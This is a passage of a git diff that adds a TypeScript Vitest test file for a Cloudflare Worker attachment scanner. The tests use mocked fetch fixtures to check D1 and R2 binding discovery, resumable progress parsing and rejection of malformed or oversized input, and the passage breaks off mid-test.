`${left.plane}:${left.dispatchNamespace ?? ''}:${left.scriptName}`.localeCompare( + `${right.plane}:${right.dispatchNamespace ?? ''}:${right.scriptName}`, + ), + ); + if (target.kind === 'r2') return sorted; + const seen = new Set(); + return sorted.filter((attachment) => { + const key = `${attachment.plane}:${attachment.dispatchNamespace ?? ''}:${attachment.scriptName}`; + if (seen.has(key)) return false; + seen.add(key); + return true; + }); + } + progress = chunk.progress; + } +} diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts new file mode 100644 index 00000000..66e24403 --- /dev/null +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -0,0 +1,1797 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { BaseNamespaces } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; +import { describe, expect, it, vi } from 'vitest'; +import { + advanceCloudflareWorkerAttachmentScan, + CloudflareProvisioningClient, +} from '../src/cloudflare-client.js'; +import { + CLOUDFLARE_SDK_MAX_ATTEMPTS, + CLOUDFLARE_SDK_MAX_RETRIES, +} from '../src/cloudflare-client-config.js'; +import { + CloudflareAttachmentScanDriftError, + CloudflareAttachmentScanProgressError, + initialWorkerAttachmentScan, + parseWorkerAttachmentScanProgress, + type WorkerAttachment, + type WorkerAttachmentScanChunk, + type WorkerAttachmentScanProgress, + type WorkerAttachmentScanTarget, +} from '../src/cloudflare-worker-attachment-scan.js'; +import * as fleetRoot from '../src/index.js'; +import { + type CloudflareFixtureHandler, + deferred, + pageArray, + recordingFetch, + single, + testRateCoordinator, +} from './fixtures/cloudflare-fetch-fixture.js'; + +interface VersionFixture { + readonly id: string; + readonly percentage?: number; + readonly bindings?: readonly Readonly>[]; +} + +interface OrdinaryFixture { + readonly id: string; + readonly versions?: readonly VersionFixture[]; +} + +interface DispatchPageFixture { + readonly cursor?: string; + readonly scripts: readonly string[]; + readonly nextCursor?: unknown; +} + +interface NamespaceFixture { + readonly name: string; + readonly pages: readonly DispatchPageFixture[]; + readonly tags?: Readonly>; + readonly bindings?: Readonly< + Record>[]> + >; +} + +interface AttachmentWorld { + readonly ordinary: readonly OrdinaryFixture[]; + readonly namespaces: readonly NamespaceFixture[]; +} + +function apiFailure(status: number): Response { + return Response.json( + { + success: false, + errors: [{ code: 10_000 + status, message: 'provider failure' }], + messages: [], + result: null, + }, + { status, headers: { 'retry-after-ms': '1' } }, + ); +} + +function worldHandler( + world: AttachmentWorld, + events: string[] = [], +): CloudflareFixtureHandler { + return ({ url }) => { + const target = new URL(url); + const path = decodeURIComponent(target.pathname); + events.push(`${path}?${target.searchParams.toString()}`); + if (path.endsWith('/workers/scripts')) { + return pageArray(world.ordinary.map(({ id }) => ({ id }))); + } + const ordinary = world.ordinary.find(({ id }) => + path.includes(`/workers/scripts/${id}/`), + ); + if (ordinary && path.endsWith('/deployments')) { + return single({ + deployments: + ordinary.versions === undefined + ? [] + : [ + { + versions: ordinary.versions.map((version) => ({ + version_id: version.id, + percentage: version.percentage, + })), + }, + ], + }); + } + if (ordinary && path.includes('/versions/')) { + const versionId = path.split('/versions/')[1] ?? ''; + const version = ordinary.versions?.find(({ id }) => id === versionId); + return single({ resources: { bindings: version?.bindings ?? [] } }); + } + if (path.endsWith('/workers/dispatch/namespaces')) { + return pageArray( + world.namespaces.map((namespace, index) => ({ + namespace_name: namespace.name, + namespace_id: `namespace-${index}`, + script_count: namespace.pages.reduce( + (count, page) => count + page.scripts.length, + 0, + ), + })), + ); + } + const namespace = world.namespaces.find(({ name }) => + path.includes(`/namespaces/${name}/scripts`), + ); + if (namespace && path.endsWith('/scripts')) { + const cursor = target.searchParams.get('cursor') ?? undefined; + const page = namespace.pages.find( + (candidate) => candidate.cursor === cursor, + ); + if (!page) throw new Error(`unexpected cursor ${String(cursor)}`); + return pageArray( + page.scripts.map((id) => ({ + id, + tags: namespace.tags?.[id] ?? [`tag:${id}`], + })), + { cursor: page.nextCursor as string | undefined }, + ); + } + if (namespace && path.endsWith('/settings')) { + const scriptId = path.split('/scripts/')[1]?.split('/')[0] ?? ''; + return single({ bindings: namespace.bindings?.[scriptId] ?? [] }); + } + throw new Error(`unexpected request ${path}`); + }; +} + +function client( + fetch: typeof globalThis.fetch, + options: { readonly plainOnly?: boolean } = {}, +): CloudflareProvisioningClient { + const base = { + accountId: 'account', + apiToken: 'token', + rateCoordinator: testRateCoordinator(), + fetch, + requestTimeoutMs: 1_000, + }; + return options.plainOnly + ? new CloudflareProvisioningClient({ ...base, plane: 'plain-worker' }) + : new CloudflareProvisioningClient({ + ...base, + dispatchNamespace: 'fleet', + }); +} + +async function drain( + subject: CloudflareProvisioningClient, + target: WorkerAttachmentScanTarget, + options: { + readonly budget?: number; + readonly stopOnFirstAttachment?: boolean; + readonly signal?: AbortSignal; + } = {}, +): Promise<{ + readonly chunks: readonly WorkerAttachmentScanChunk[]; + readonly attachments: readonly WorkerAttachment[]; + readonly terminal: WorkerAttachmentScanChunk; +}> { + let progress = initialWorkerAttachmentScan(target); + const chunks: WorkerAttachmentScanChunk[] = []; + const attachments: WorkerAttachment[] = []; + for (let attempt = 0; attempt < 1_000; attempt += 1) { + const chunk = await advanceCloudflareWorkerAttachmentScan(subject, { + target, + progress, + maxProviderRequests: options.budget ?? 9, + stopOnFirstAttachment: options.stopOnFirstAttachment, + signal: options.signal, + }); + chunks.push(chunk); + if (chunk.status === 'attached') { + attachments.push(chunk.attachment); + return { chunks, attachments, terminal: chunk }; + } + attachments.push(...chunk.attachments); + if (chunk.status === 'complete') { + return { chunks, attachments, terminal: chunk }; + } + progress = parseWorkerAttachmentScanProgress( + JSON.parse(JSON.stringify(chunk.progress)), + target, + ); + } + throw new Error('attachment scan did not terminate'); +} + +function hash(value: string): string { + return createHash('sha256').update(value).digest('hex'); +} + +function evidence( + target: WorkerAttachmentScanTarget, + leaves: readonly (readonly unknown[])[], +): string { + let digest = hash( + JSON.stringify([ + 'attachment-scan-v1', + target.kind, + target.kind === 'd1' ? target.databaseId : target.bucketName, + ]), + ); + for (const leaf of leaves) digest = hash(JSON.stringify([digest, leaf])); + return digest; +} + +function multisetEvidence(leaves: readonly (readonly unknown[])[]): string { + const modulus = 1n << 256n; + let sum = 0n; + for (const leaf of leaves) { + sum = (sum + BigInt(`0x${hash(JSON.stringify(leaf))}`)) % modulus; + } + return sum.toString(16).padStart(64, '0'); +} + +const D1_TARGET = { kind: 'd1', databaseId: 'target-db' } as const; +const R2_TARGET = { kind: 'r2', bucketName: 'target-bucket' } as const; + +describe('Cloudflare Worker attachment scan', () => { + it('resumes a D1 scan across every ordinary version and dispatch page', async () => { + const events: string[] = []; + const world: AttachmentWorld = { + ordinary: [ + { + id: 'ordinary-a', + versions: [ + { id: 'a1', percentage: 50 }, + { + id: 'a2', + percentage: 50, + bindings: [{ type: 'd1', database_id: 'target-db' }], + }, + { id: 'a0', percentage: 0 }, + ], + }, + { id: 'ordinary-b', versions: [{ id: 'b1', percentage: 100 }] }, + ], + namespaces: [ + { + name: 'one', + pages: [ + { scripts: ['dispatch-a'], nextCursor: 'next' }, + { cursor: 'next', scripts: ['dispatch-b'] }, + ], + bindings: { + 'dispatch-b': [{ type: 'd1', database_id: 'target-db' }], + }, + }, + { name: 'two', pages: [{ scripts: ['dispatch-c'] }] }, + ], + }; + const fixture = recordingFetch(worldHandler(world, events)); + const result = await drain(client(fixture.fetch), D1_TARGET); + + expect(result.attachments).toEqual([ + { scriptName: 'ordinary-a', plane: 'ordinary' }, + { + scriptName: 'dispatch-b', + plane: 'dispatch', + dispatchNamespace: 'one', + }, + ]); + expect(result.chunks.length).toBeGreaterThan(4); + expect( + result.chunks.every((chunk) => chunk.providerFetchAttemptsReserved <= 9), + ).toBe(true); + expect(events.filter((event) => event.includes('/versions/a0'))).toEqual( + [], + ); + expect(events.filter((event) => event.endsWith('/settings?'))).toHaveLength( + 3, + ); + expect( + events + .filter((event) => event.endsWith('/settings?')) + .map((event) => + event + .match(/namespaces\/([^/]+)\/scripts\/([^/]+)\/settings/) + ?.slice(1), + ), + ).toEqual([ + ['one', 'dispatch-a'], + ['one', 'dispatch-b'], + ['two', 'dispatch-c'], + ]); + }); + + it('preserves target-specific attachment and malformed-inventory behavior', async () => { + const world: AttachmentWorld = { + ordinary: [ + { id: 'empty', versions: [] }, + { + id: 'percentage-free', + versions: [ + { + id: 'v1', + bindings: [{ type: 'r2_bucket', bucket_name: 'target-bucket' }], + }, + ], + }, + ], + namespaces: [ + { + name: 'fleet', + pages: [ + { + scripts: ['dispatch-r2', 'dispatch-other', 'dispatch-r2'], + }, + ], + bindings: { + 'dispatch-r2': [ + { type: 'r2_bucket', bucket_name: 'target-bucket' }, + ], + }, + }, + ], + }; + const fixture = recordingFetch(worldHandler(world)); + const result = await drain(client(fixture.fetch), R2_TARGET); + expect(result.attachments).toEqual([ + { scriptName: 'percentage-free', plane: 'ordinary' }, + { + scriptName: 'dispatch-r2', + plane: 'dispatch', + dispatchNamespace: 'fleet', + }, + { + scriptName: 'dispatch-r2', + plane: 'dispatch', + dispatchNamespace: 'fleet', + }, + ]); + await expect( + client(fixture.fetch).listWorkerR2Attachments('target-bucket'), + ).resolves.toEqual([ + { + scriptName: 'dispatch-r2', + plane: 'dispatch', + dispatchNamespace: 'fleet', + }, + { + scriptName: 'dispatch-r2', + plane: 'dispatch', + dispatchNamespace: 'fleet', + }, + { scriptName: 'percentage-free', plane: 'ordinary' }, + ]); + + const duplicateD1Fixture = recordingFetch( + worldHandler({ + ordinary: [], + namespaces: [ + { + name: 'fleet', + pages: [{ scripts: ['dispatch-d1', 'dispatch-d1'] }], + bindings: { + 'dispatch-d1': [{ type: 'd1', database_id: 'target-db' }], + }, + }, + ], + }), + ); + await expect( + drain(client(duplicateD1Fixture.fetch), D1_TARGET), + ).resolves.toMatchObject({ + attachments: [ + { + scriptName: 'dispatch-d1', + plane: 'dispatch', + dispatchNamespace: 'fleet', + }, + { + scriptName: 'dispatch-d1', + plane: 'dispatch', + dispatchNamespace: 'fleet', + }, + ], + }); + await expect( + client(duplicateD1Fixture.fetch).listWorkerDatabaseAttachments( + 'target-db', + ), + ).resolves.toEqual([ + { + scriptName: 'dispatch-d1', + plane: 'dispatch', + dispatchNamespace: 'fleet', + }, + ]); + + const malformedFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + return pageArray([{ id: 'malformed' }]); + } + if (target.pathname.endsWith('/deployments')) return single({}); + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(malformedFixture.fetch), R2_TARGET), + ).rejects.toThrow( + "Cloudflare deployment inventory for ordinary Worker 'malformed' was malformed", + ); + + const oversizedScripts = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + return pageArray( + Array.from({ length: 10_001 }, (_, index) => ({ + id: `script-${index}`, + })), + ); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(oversizedScripts.fetch), D1_TARGET), + ).rejects.toThrow( + 'ordinary Worker script inventory exceeded the supported inventory bound of 10000 items', + ); + + const oversizedNamespaces = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray( + Array.from({ length: 10_001 }, (_, index) => ({ + namespace_name: `namespace-${index}`, + })), + ); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(oversizedNamespaces.fetch), D1_TARGET), + ).rejects.toThrow( + 'dispatch namespace inventory exceeded the supported inventory bound of 10000 items', + ); + + const oversizedVersions = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + return pageArray([{ id: 'many-versions' }]); + } + if (target.pathname.endsWith('/deployments')) { + return single({ + deployments: [ + { + versions: Array.from({ length: 10_001 }, (_, index) => ({ + version_id: `version-${index}`, + percentage: index === 0 ? 100 : 0, + })), + }, + ], + }); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(oversizedVersions.fetch), D1_TARGET), + ).rejects.toThrow( + "ordinary Worker 'many-versions' deployment version inventory exceeded the supported inventory bound of 10000 items", + ); + + for (const malformedBindings of ['version', 'settings'] as const) { + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + return pageArray( + malformedBindings === 'version' ? [{ id: 'ordinary' }] : [], + ); + } + if (target.pathname.endsWith('/deployments')) { + return single({ + deployments: [ + { versions: [{ version_id: 'version', percentage: 100 }] }, + ], + }); + } + if (target.pathname.includes('/versions/')) return single({}); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + if (target.pathname.endsWith('/namespaces/fleet/scripts')) { + return pageArray([{ id: 'dispatch', tags: [] }]); + } + if (target.pathname.endsWith('/settings')) return single({}); + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect(drain(client(fixture.fetch), D1_TARGET)).rejects.toThrow( + malformedBindings === 'version' + ? 'Cloudflare ordinary Worker version binding inventory was malformed' + : 'Cloudflare dispatch Worker binding inventory was malformed', + ); + } + + const malformedNamespace = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([ + { namespace_name: 'fleet', namespace_id: 42 as unknown as string }, + ]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(malformedNamespace.fetch), D1_TARGET), + ).rejects.toThrow( + "Cloudflare dispatch namespace 'fleet' had malformed identity metadata", + ); + }); + + it('reserves complete retry sets for SDK and raw page operations', async () => { + expect(CLOUDFLARE_SDK_MAX_ATTEMPTS).toBe(CLOUDFLARE_SDK_MAX_RETRIES + 1); + let rawAttempts = 0; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + if (target.pathname.endsWith('/namespaces/fleet/scripts')) { + rawAttempts += 1; + return rawAttempts < 3 ? apiFailure(503) : pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const subject = client(fixture.fetch); + for (const invalidBudget of [8, 1_001, 9.5]) { + const requestCount = fixture.requests.length; + let budgetError: unknown; + try { + await advanceCloudflareWorkerAttachmentScan(subject, { + target: D1_TARGET, + progress: initialWorkerAttachmentScan(D1_TARGET), + maxProviderRequests: invalidBudget, + }); + } catch (error) { + budgetError = error; + } + expect(budgetError).toBeInstanceOf(Error); + expect((budgetError as Error).message).toBe( + 'maxProviderRequests must be an integer from 9 to 1000', + ); + expect(fixture.requests).toHaveLength(requestCount); + } + const result = await drain(subject, D1_TARGET, { budget: 9 }); + expect(result.terminal.status).toBe('complete'); + expect(rawAttempts).toBe(3); + expect( + result.chunks.map((chunk) => chunk.providerFetchAttemptsReserved), + ).toContain(9); + }); + + it('resumes an ordinary version index without repeating a committed version read', async () => { + const events: string[] = []; + const world: AttachmentWorld = { + ordinary: [ + { + id: 'ordinary', + versions: [ + { id: 'v1', percentage: 50 }, + { id: 'v2', percentage: 50 }, + ], + }, + ], + namespaces: [], + }; + const fixture = recordingFetch(worldHandler(world, events)); + await drain(client(fixture.fetch), D1_TARGET, { budget: 9 }); + expect( + events.filter((event) => event.includes('/versions/v1')), + ).toHaveLength(1); + expect( + events.filter((event) => event.includes('/versions/v2')), + ).toHaveLength(1); + expect( + events.filter((event) => event.endsWith('/deployments?')).length, + ).toBe(3); + }); + + it('re-fetches a partial dispatch page and skips committed settings offsets', async () => { + const events: string[] = []; + const world: AttachmentWorld = { + ordinary: [], + namespaces: [ + { + name: 'fleet', + pages: [{ scripts: ['a', 'B', 'c'] }], + }, + ], + }; + const fixture = recordingFetch(worldHandler(world, events)); + await drain(client(fixture.fetch), D1_TARGET, { budget: 9 }); + expect( + events.filter((event) => event.includes('/namespaces/fleet/scripts?')), + ).toHaveLength(5); + for (const script of ['B', 'a', 'c']) { + expect( + events.filter((event) => event.includes(`/scripts/${script}/settings`)), + ).toHaveLength(1); + } + expect( + events + .filter((event) => event.endsWith('/settings?')) + .map((event) => event.split('/scripts/')[1]?.split('/settings')[0]), + ).toEqual(['B', 'a', 'c']); + }); + + it('produces page-independent evidence for every leaf kind and target seed', async () => { + const ordinary = [ + { id: 'a', versions: [{ id: 'version-a', percentage: 100 }] }, + { id: 'B', versions: [{ id: 'version-B', percentage: 100 }] }, + ] as const; + const bindings = { + a: [ + { type: 'd1', database_id: 'target-db' }, + { type: 'r2_bucket', bucket_name: 'target-bucket' }, + ], + }; + const splitWorld: AttachmentWorld = { + ordinary, + namespaces: [ + { name: 'a', pages: [{ scripts: [] }] }, + { + name: 'B', + pages: [ + { scripts: ['a'], nextCursor: 'opaque-A' }, + { cursor: 'opaque-A', scripts: ['B'] }, + ], + tags: { B: ['z', 'A'], a: ['tag:a', 'b', 'Z'] }, + bindings, + }, + ], + }; + const singlePageWorld: AttachmentWorld = { + ordinary, + namespaces: [ + { name: 'a', pages: [{ scripts: [] }] }, + { + name: 'B', + pages: [{ scripts: ['B', 'a'] }], + tags: { B: ['z', 'A'], a: ['tag:a', 'b', 'Z'] }, + bindings, + }, + ], + }; + const d1Split = await drain( + client(recordingFetch(worldHandler(splitWorld)).fetch), + D1_TARGET, + { budget: 12 }, + ); + const d1Single = await drain( + client(recordingFetch(worldHandler(singlePageWorld)).fetch), + D1_TARGET, + { budget: 12 }, + ); + const r2Single = await drain( + client(recordingFetch(worldHandler(singlePageWorld)).fetch), + R2_TARGET, + { budget: 12 }, + ); + for (const result of [d1Split, d1Single, r2Single]) { + expect(result.terminal.status).toBe('complete'); + } + if ( + d1Split.terminal.status !== 'complete' || + d1Single.terminal.status !== 'complete' || + r2Single.terminal.status !== 'complete' + ) { + throw new Error('attachment scan did not complete'); + } + const dispatchLeaves = [ + ['dispatch-settings', 'B', 'B', ['A', 'z'], false], + ['dispatch-settings', 'B', 'a', ['Z', 'b', 'tag:a'], true], + ] as const; + const leaves = [ + ['ordinary-inventory', ['B', 'a']], + ['ordinary-deployment', 'B', [['version-B', 100]]], + ['ordinary-version', 'B', 'version-B', false], + ['ordinary-deployment', 'a', [['version-a', 100]]], + ['ordinary-version', 'a', 'version-a', false], + [ + 'dispatch-namespaces', + [ + ['B', 'namespace-1', 2], + ['a', 'namespace-0', 0], + ], + ], + [ + 'dispatch-namespace', + 'B', + dispatchLeaves.length, + multisetEvidence(dispatchLeaves), + ], + ['dispatch-namespace', 'a', 0, '0'.repeat(64)], + ] as const; + const expectedCount = 6 + dispatchLeaves.length + 2; + expect(d1Split.terminal).toMatchObject({ + evidenceCount: expectedCount, + evidenceSha256: evidence(D1_TARGET, leaves), + }); + expect(d1Single.terminal).toMatchObject({ + evidenceCount: d1Split.terminal.evidenceCount, + evidenceSha256: d1Split.terminal.evidenceSha256, + }); + expect(r2Single.terminal).toMatchObject({ + evidenceCount: expectedCount, + evidenceSha256: evidence(R2_TARGET, leaves), + }); + }); + + it('round-trips every exact progress arm and rejects cross-stage keys', () => { + const common = { + version: 1 as const, + target: D1_TARGET, + evidenceSha256: 'a'.repeat(64), + evidenceCount: 10, + }; + const arms: WorkerAttachmentScanProgress[] = [ + initialWorkerAttachmentScan(D1_TARGET), + { + ...common, + stage: 'ordinary-deployment', + ordinaryInventorySha256: 'b'.repeat(64), + scriptIndex: 1, + scriptName: 'script', + }, + { + ...common, + stage: 'ordinary-version', + ordinaryInventorySha256: 'b'.repeat(64), + scriptIndex: 1, + scriptName: 'script', + deploymentSha256: 'c'.repeat(64), + versionIndex: 2, + }, + { + ...common, + stage: 'dispatch-namespace-inventory', + ordinaryInventorySha256: 'b'.repeat(64), + namespaceIndex: 0, + }, + { + ...common, + stage: 'dispatch-script-page', + ordinaryInventorySha256: 'b'.repeat(64), + namespaceInventorySha256: 'd'.repeat(64), + namespaceIndex: 1, + namespaceName: 'fleet', + pageStartCursor: 'cursor-2', + pageNumber: 2, + seenCursorSha256: [hash('cursor-1'), hash('cursor-2')], + totalDispatchItems: 20, + dispatchEvidenceSum256: 'e'.repeat(64), + dispatchEvidenceCount: 20, + }, + { + ...common, + stage: 'dispatch-script-settings', + ordinaryInventorySha256: 'b'.repeat(64), + namespaceInventorySha256: 'd'.repeat(64), + namespaceIndex: 1, + namespaceName: 'fleet', + pageStartCursor: 'cursor-2', + nextCursor: 'next', + pageSha256: 'f'.repeat(64), + pageItemCount: 3, + itemOffset: 2, + pageNumber: 2, + seenCursorSha256: [hash('cursor-1'), hash('cursor-2'), hash('next')], + totalDispatchItems: 20, + dispatchEvidenceSum256: 'e'.repeat(64), + dispatchEvidenceCount: 19, + }, + ]; + for (const arm of arms) { + expect( + parseWorkerAttachmentScanProgress( + JSON.parse(JSON.stringify(arm)), + D1_TARGET, + ), + ).toEqual(arm); + expect(() => + parseWorkerAttachmentScanProgress( + { ...arm, unexpected: true }, + D1_TARGET, + ), + ).toThrow(CloudflareAttachmentScanProgressError); + } + for (const insufficientEvidence of [ + { + version: 1, + target: D1_TARGET, + stage: 'ordinary-deployment', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 1, + ordinaryInventorySha256: 'b'.repeat(64), + scriptIndex: 1, + scriptName: 'script', + }, + { + version: 1, + target: D1_TARGET, + stage: 'ordinary-version', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 4, + ordinaryInventorySha256: 'b'.repeat(64), + scriptIndex: 1, + scriptName: 'script', + deploymentSha256: 'c'.repeat(64), + versionIndex: 2, + }, + { + version: 1, + target: D1_TARGET, + stage: 'dispatch-script-page', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + ordinaryInventorySha256: 'b'.repeat(64), + namespaceInventorySha256: 'c'.repeat(64), + namespaceIndex: 1, + namespaceName: 'fleet', + pageNumber: 0, + seenCursorSha256: [], + totalDispatchItems: 0, + dispatchEvidenceSum256: '0'.repeat(64), + dispatchEvidenceCount: 0, + }, + ]) { + expect(() => + parseWorkerAttachmentScanProgress(insufficientEvidence, D1_TARGET), + ).toThrow(CloudflareAttachmentScanProgressError); + } + }); + + it('rejects future, wrong-target, accessor, prototype, hash, and index progress', () => { + const valid = initialWorkerAttachmentScan(D1_TARGET); + const accessor = vi.fn(() => 0); + const deepTrap = vi.fn(() => Object.prototype); + let deeplyNested: unknown = new Proxy({}, { getPrototypeOf: deepTrap }); + for (let depth = 0; depth < 65; depth += 1) { + deeplyNested = [deeplyNested]; + } + let wideArrayOwnKeyReads = 0; + let wideArrayItemReads = 0; + const wideArray = new Proxy(Array(8_192).fill(0), { + ownKeys: (target) => { + wideArrayOwnKeyReads += 1; + return Reflect.ownKeys(target); + }, + getOwnPropertyDescriptor: (target, property) => { + if (property !== 'length') wideArrayItemReads += 1; + return Reflect.getOwnPropertyDescriptor(target, property); + }, + }); + let wideRecordValueReads = 0; + const wideRecord = new Proxy( + Object.fromEntries( + Array.from({ length: 8_192 }, (_, index) => [`key-${index}`, 0]), + ), + { + getOwnPropertyDescriptor: (target, property) => { + wideRecordValueReads += 1; + return Reflect.getOwnPropertyDescriptor(target, property); + }, + }, + ); + let oversizedKeyValueReads = 0; + const oversizedKey = new Proxy( + { ['\u0000'.repeat(12_000)]: 0 }, + { + getOwnPropertyDescriptor: (target, property) => { + oversizedKeyValueReads += 1; + return Reflect.getOwnPropertyDescriptor(target, property); + }, + }, + ); + let largestNumberIndexRead = -1; + const wideNumbers = new Proxy(Array(3_000).fill(Number.MAX_VALUE), { + getOwnPropertyDescriptor: (target, property) => { + if (typeof property === 'string' && /^\d+$/.test(property)) { + largestNumberIndexRead = Number(property); + } + return Reflect.getOwnPropertyDescriptor(target, property); + }, + }); + let cycleOwnKeyReads = 0; + let cycleDescriptorReads = 0; + const cycleTarget: { self?: unknown } = {}; + const cyclic = new Proxy(cycleTarget, { + ownKeys: (target) => { + cycleOwnKeyReads += 1; + return Reflect.ownKeys(target); + }, + getOwnPropertyDescriptor: (target, property) => { + cycleDescriptorReads += 1; + return Reflect.getOwnPropertyDescriptor(target, property); + }, + }); + cycleTarget.self = cyclic; + const encode = vi.spyOn(TextEncoder.prototype, 'encode'); + try { + expect(() => + parseWorkerAttachmentScanProgress('x'.repeat(65_537), D1_TARGET), + ).toThrow(CloudflareAttachmentScanProgressError); + expect(encode).not.toHaveBeenCalled(); + expect(() => + parseWorkerAttachmentScanProgress( + { ['x'.repeat(65_537)]: 0 }, + D1_TARGET, + ), + ).toThrow(CloudflareAttachmentScanProgressError); + expect(encode).not.toHaveBeenCalled(); + } finally { + encode.mockRestore(); + } + for (const malformed of [ + { ...valid, version: 2 }, + { ...valid, target: R2_TARGET }, + { ...valid, evidenceSha256: 'not-a-hash' }, + { ...valid, evidenceCount: -1 }, + { ...valid, scriptIndex: 1 }, + { ...valid, scriptIndex: 10_001 }, + { + version: 1, + target: D1_TARGET, + stage: 'dispatch-namespace-inventory', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 1, + ordinaryInventorySha256: 'b'.repeat(64), + namespaceIndex: 1, + }, + Object.assign(Object.create({ inherited: true }), valid), + Object.defineProperty({ ...valid }, 'scriptIndex', { + enumerable: true, + get: accessor, + }), + new Proxy(valid, { + getPrototypeOf: () => { + throw new Error('prototype trap'); + }, + }), + Object.assign({ ...valid }, { [Symbol('unexpected')]: true }), + deeplyNested, + wideArray, + wideRecord, + oversizedKey, + wideNumbers, + cyclic, + ]) { + expect(() => + parseWorkerAttachmentScanProgress(malformed, D1_TARGET), + ).toThrow(CloudflareAttachmentScanProgressError); + } + expect(accessor).not.toHaveBeenCalled(); + expect(deepTrap).not.toHaveBeenCalled(); + expect(wideArrayOwnKeyReads).toBe(0); + expect(wideArrayItemReads).toBe(0); + expect(wideRecordValueReads).toBe(0); + expect(oversizedKeyValueReads).toBe(0); + expect(largestNumberIndexRead).toBeLessThan(2_999); + expect(cycleOwnKeyReads).toBe(1); + expect(cycleDescriptorReads).toBe(1); + + let progressError: unknown; + try { + parseWorkerAttachmentScanProgress({ ...valid, version: 2 }, D1_TARGET); + } catch (error) { + progressError = error; + } + expect(progressError).toBeInstanceOf(CloudflareAttachmentScanProgressError); + expect(progressError).toMatchObject({ + name: 'CloudflareAttachmentScanProgressError', + message: 'Cloudflare attachment scan progress is malformed', + }); + }); + + it('enforces cursor, page, item, evidence, and reachable-state bounds', () => { + const page = { + version: 1 as const, + target: D1_TARGET, + stage: 'dispatch-script-page' as const, + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + ordinaryInventorySha256: 'b'.repeat(64), + namespaceInventorySha256: 'c'.repeat(64), + namespaceIndex: 0, + namespaceName: 'fleet', + pageNumber: 0, + seenCursorSha256: [] as string[], + totalDispatchItems: 0, + dispatchEvidenceSum256: '0'.repeat(64), + dispatchEvidenceCount: 0, + }; + const oversizedCursor = 'é'.repeat(2_049); + const page100Cursors = Array.from( + { length: 100 }, + (_, index) => `cursor-${index}`, + ); + for (const malformed of [ + { + ...page, + pageStartCursor: oversizedCursor, + pageNumber: 1, + seenCursorSha256: [hash(oversizedCursor)], + }, + { + ...page, + pageStartCursor: page100Cursors.at(-1), + pageNumber: 100, + seenCursorSha256: page100Cursors.map(hash), + }, + { + ...page, + totalDispatchItems: 10_001, + dispatchEvidenceSum256: 'd'.repeat(64), + dispatchEvidenceCount: 10_001, + }, + { + ...page, + totalDispatchItems: 1, + dispatchEvidenceSum256: 'd'.repeat(64), + dispatchEvidenceCount: 1, + }, + { ...page, evidenceCount: 1_000_001 }, + { + ...page, + pageStartCursor: 'cursor', + pageNumber: 1, + seenCursorSha256: Object.defineProperty([hash('cursor')], '0', { + enumerable: true, + get: () => hash('cursor'), + }), + }, + { + ...page, + pageStartCursor: '', + pageNumber: 1, + seenCursorSha256: [hash('')], + }, + { + ...page, + stage: 'dispatch-script-settings', + nextCursor: '', + pageSha256: 'd'.repeat(64), + pageItemCount: 1, + itemOffset: 0, + seenCursorSha256: [hash('')], + totalDispatchItems: 1, + }, + { + ...page, + stage: 'dispatch-script-settings', + pageSha256: 'd'.repeat(64), + pageItemCount: 0, + itemOffset: 0, + }, + { + ...page, + stage: 'dispatch-script-settings', + pageSha256: hash(JSON.stringify([null, [['only', []]], null])), + pageItemCount: 1, + itemOffset: 0, + totalDispatchItems: 2, + dispatchEvidenceSum256: 'd'.repeat(64), + dispatchEvidenceCount: 1, + }, + ]) { + expect(() => + parseWorkerAttachmentScanProgress(malformed, D1_TARGET), + ).toThrow(CloudflareAttachmentScanProgressError); + } + expect(() => + parseWorkerAttachmentScanProgress( + { + ...page, + stage: 'dispatch-script-settings', + pageSha256: 'd'.repeat(64), + pageItemCount: 3, + itemOffset: 4, + totalDispatchItems: 3, + dispatchEvidenceSum256: 'e'.repeat(64), + dispatchEvidenceCount: 4, + }, + D1_TARGET, + ), + ).toThrow(CloudflareAttachmentScanProgressError); + }); + + it('rejects repeated and unbounded dispatch cursors and overfilled pages', async () => { + for (const mode of ['same', 'cycle', 'endless', 'overfilled'] as const) { + let page = 0; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + if (target.pathname.endsWith('/namespaces/fleet/scripts')) { + if (mode === 'overfilled') { + return pageArray( + Array.from({ length: 101 }, (_, index) => ({ + id: `script-${index}`, + tags: [], + })), + ); + } + const cursor = target.searchParams.get('cursor'); + page += 1; + const next 